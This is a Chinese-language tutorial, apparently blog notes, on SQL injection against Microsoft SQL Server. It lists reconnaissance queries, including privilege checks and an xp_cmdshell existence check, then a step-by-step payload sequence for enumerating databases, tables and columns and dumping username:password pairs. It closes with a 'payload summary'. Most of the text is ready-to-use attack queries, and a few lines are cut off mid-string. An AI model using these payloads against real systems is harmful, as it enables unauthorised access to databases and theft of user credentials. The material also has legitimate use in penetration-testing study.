信息收集
用户:
当前用户名:
select user
用户权限:
服务器级别:
select IS_SRVROLEMEMBER('sysadmin')
数据库级别:
select IS_MEMBER('db_owner')
2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service
系统:当前数据库名:
select db_name()
数据库版本:
select @@version
计算机名:
select host_name()
当前数据库所在计算机名:
select @@servername
判断战库分离:
select host_name()=@@servername
命令:是否支持xpcmdshell
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmds
返回1就代表存在xp_cmdshell
2.获取数据:获取库名:
select db_name()
获取所有数据库名:
select name from master.dbo.sysdatabases;
获取表名:
select name from test.dbo.sysobjects
sysobjects表是SQL Server的系统表,记录了数据库内创建的每一个对象 sysobjects表结构:
如果直接使用select name from test.dbo.sysobjects,就会造成将一些无用的数据也回显出来,因此我们需要使用xtype来筛选满足条件的对象 以下是未筛选的回显内容
select name from test.dbo.sysobjects where xtype = 'u'
以下是我们使用where筛选后的内容
当然在实际利用中一般回显一回显一行数据,因此需要使用top来限定只反显1行内容
select top 1 name from test.dbo.sysobjects where xtype = 'u'
那该如何获取下一个表名呢?
select top 1 name from test.dbo.sysobjects where xtype = 'u' and name !='emails'
我想你会想,如果是我要获取第10个表名的话岂不是需要写9个条件判断语句,那样也太繁琐了吧 因此我们可以直接利用sql语法,not in('xxxx')
select top 1 name from test.dbo.sysobjects where xtype = 'u' and name not in('emails','
获取字段名:数据库表syscolumns 各个字段含义:每个数据库创建后都会有一些系统表用来存储该数据库的一些基本信息 每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。
select * from test.dbo.syscolumns
如果不进行筛选的话,会有许多有关数据库配置等无关的字段出现
在mssql中每一张表都有直接的id,因此我们可以sysobjects来查询到我们想要的表的id,进而达到筛选的目的
select name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = 'users') and name<>'id'
在实际情况下,如果我们要爆的数据是在web应用所使用的表时,可以省略test.dbo.
当然如果只能回显一行的话依然需要使用top 爆数据:
select top 1 username+':'+ password from test.dbo.users
爆数据payload总结:
库名:
select name from master.dbo.sysdatabases;
表名:
select top 1 name from test.dbo.sysobjects where xtype = 'u' and name not in('emails','uagents');
列名:
select name from syscolumns where id=(select id from sysobjects where name = 'users') and name<>'id'
数据:
select top 1 username+':'+ password from test.dbo.users